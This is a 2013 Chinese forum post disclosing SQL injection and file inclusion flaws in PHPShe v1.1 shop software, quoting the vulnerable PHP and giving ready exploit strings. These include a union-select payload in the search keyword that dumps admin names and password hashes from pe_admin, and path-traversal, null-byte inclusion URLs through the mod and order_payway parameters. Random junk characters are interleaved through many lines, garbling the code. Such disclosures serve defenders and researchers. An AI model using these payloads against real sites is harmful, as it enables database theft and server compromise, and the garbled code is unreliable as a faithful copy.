找回密码
 立即注册
查看: 3157|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/( J# m  d! u& q' a/ h3 i/ K$ K
/* Phpshe v1.1 Vulnerability
7 `* G! D) @+ ]/* ========================
# g- W# Q3 z' \: b1 h/* By: : Kn1f3
$ w& W, [" r; t/ d* U- ]/* E-Mail : 681796@qq.com, U% W9 t, x; f  R* X# Z+ l1 u
/*******************************************************/
  l; z* m1 H; g& k1 T0×00 整体大概参数传输
! a. P0 ]' y: n0 ~" r, w5 M/ m 5 q/ L. P) f4 k9 N2 S

+ ?7 h* h; Y5 F
6 ]# {" V) m( O: }& [) Y$ {
//common.php1 x! }5 b& X- o5 e/ _' R
if (get_magic_quotes_gpc()) {
7 K5 b- [- _2 M+ {) B; x4 e) b!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');9 f& \1 S6 f5 x
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
) s& c" v) p: i# D& D  r( v1 ?}) [) n4 Q2 J3 F, x
else {
4 t- g1 R& M+ C) e3 H, R!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 g- h+ @7 ?7 a( ^!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');1 C+ E! t  ~% W
}
) d/ z! {5 s; D" v1 o% rsession_start();
* M) ^8 @5 A8 T' |3 n* d!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
8 R0 E5 X3 O. W  V/ W: X; ^!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');" ]% @5 l, ~4 x$ F2 o6 q+ D  `
# ^2 @$ b9 K: I3 @! D( j6 `3 e
0×01 包含漏洞
2 t( S+ _* N+ t
+ W" r3 T7 a) @7 L5 [, H/ f6 `& ?% A
1 G) e; W7 M$ u" @; {
//首页文件& w4 H! \1 b! v" P9 w7 ]: t. U
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);% D9 ]' p3 E, l4 ^  @1 v
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞" E4 M* f& v6 r) L
pe_result();" M9 |% o0 J0 p1 J0 u* ?+ n
?>  a0 [( |( Z+ }2 a" Z& H: P$ f8 N
//common 文件 第15行开始
, o/ N# Z# J/ X0 r# ^1 M# C4 B' G. uurl路由配置  A' Q/ L# o9 k5 z
$module = $mod = $act = 'index';# x; U0 p) e  w; ~  n8 x; {6 m
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);* y! g/ e, m" W7 B0 M" N5 u
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
" v& T. A$ t3 g8 S1 S& M$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);9 L( @( {4 S& f, n1 v% c( [* X
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
( `) K( E3 D  q% _) _8 Y

/ T- k( l7 n& P0 Y7 H: o4 a5 ?
; q: t7 W. g  `2 L
0×02 搜索注入
& L2 X9 O( M* n, h; R! H* _
2 g2 q. R  |/ c, ]  r% D% g% ^9 w! P<code id="code2">

//product.php文件
& R- V8 {, J, @! Bcase 'list':% p  u# B& w' `& `& Z/ y3 P6 E- N
$category_id = intval($id);* d# Z3 O" @, f7 U) I/ B
$info = $db->pe_select('category', array('category_id'=>$category_id));
* f( ^7 Y! F. b+ }( R//搜索( E% I$ W& Z# n  E1 p% a3 U2 ]3 N
$sqlwhere = " and `product_state` = 1";
9 B$ ~9 x1 x* v2 y: [! Epe_lead('hook/category.hook.php');
; l0 c) i8 j8 h1 rif ($category_id) {
% {% a4 l& q8 m7 Q5 H2 }$ W1 Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
; ?& O* g  u( W4 u}
+ T$ \" r( `8 a% S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
1 e. k, |: K* L+ X, ?if ($_g_orderby) {
8 I; t/ v* b2 q; m% R, b* v$orderby = explode('_', $_g_orderby);5 d8 O7 @" [9 K5 T
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: f6 e) d1 @' [1 H# r. x}
3 w( n) K2 m( ^! b, G: Melse {6 z3 J! P  ?( Y- p/ G+ X
$sqlwhere .= " order by `product_id` desc";( g8 h( e" D6 r& x
}. f) A/ E! {1 W! L( V$ }
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
# g3 P( _: N9 c+ x7 O+ J( i5 k//热卖排行0 p' N, H8 ?7 g
$product_hotlist = product_hotlist();& ^6 |5 E2 f# J* z! T
//当前路径- }; a, G1 W: D( w" A
$nowpath = category_path($category_id);
9 Y2 o& j, M. Q! ?* ^$seo = pe_seo($info['category_name']);3 Y" h  i$ y: A; N! p2 J$ K
include(pe_tpl('product_list.html'));
5 G0 J& }' L9 f5 K5 m//跟进selectall函数库6 B$ H! r* ]% W  [
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())- V6 V: }- ]  [6 C, B+ q& [
{% u4 H5 m- ~6 c( o! T; u8 ]
//处理条件语句; t8 N8 i+ Z2 y! ~
$sqlwhere = $this->_dowhere($where);$ }7 \, Y7 m$ \. z0 q8 _
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);  G- G# L" Q* \9 `( i
}8 }# p( F. t% U( y) a
//exp9 l& `/ `7 S& Q3 U
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 ]+ S5 w+ ^0 a* {  D% Q

</code>1 [8 s8 X; K0 O: I- ]& D

& f6 @: u: H3 h* ?# c6 T$ f0×03 包含漏洞2" o3 P# g4 T! U/ A  ]# o
8 ^2 t$ w% {1 s; I
<code id="code3">

//order.php

case 'pay':


- y1 F5 m1 C9 K; G3 F* W3 y$order_id = pe_dbhold($_g_id);

5 ?7 J& p3 @# N" o* e
$cache_payway = cache::get('payway');


, |5 q4 u! n, E3 I: hforeach($cache_payway as $k => $v) {

3 r1 Y$ G! T, d. W1 c
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


/ \/ A6 t0 ]8 Z  @if ($k == 'bank') {

; {9 Z' i8 R2 S7 K/ d
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% r) [1 n6 g+ o1 l) c# {/ X
}

" @- A% w3 R# ]6 p( \- |1 a
}


; ~- W$ g! s5 f8 `$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


- R, \* r7 k2 _- `' O( q!$order['order_id'] && pe_error('订单号错误...');

2 ?% C4 M4 X0 D6 L
if (isset($_p_pesubmit)) {


+ k( s2 z. y/ Y, T3 Eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 V; d4 F# N! g! L- L; O- ?
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


3 C6 E# u- A+ h& A( rforeach ($info_list as $v) {


& h2 i# A/ ^/ X$order['order_name'] .= "{$v['product_name']};";# h6 G" ^8 B, K5 Z( }1 r


, h6 P+ I+ R. E}

$ f( b( }( Q7 Q* X- ^$ M! @, w: K8 d
echo '正在为您连接支付网站,请稍后...';


0 l6 N+ b% i* Z  P2 A1 Einclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


, e; \' T: k. W) f/ V, `8 |9 f1 ~4 A}//当一切准备好的时候就可以进行"鸡肋包含了"


& d: K  C  o& }, Zelse {


' F. @' N6 L- F+ X, M" \pe_error('支付错误...');


# F+ }# h7 S5 R; J) Z}


0 c6 p3 N5 n  l/ h; g}

# E7 \3 p* I% b7 }
$seo = pe_seo('选择支付方式');

5 [  T! R; s$ h1 C8 @
include(pe_tpl('order_pay.html'));

- |+ \/ O0 o- e$ L
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
+ O$ S2 X) J& i, x, v# y& ^

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表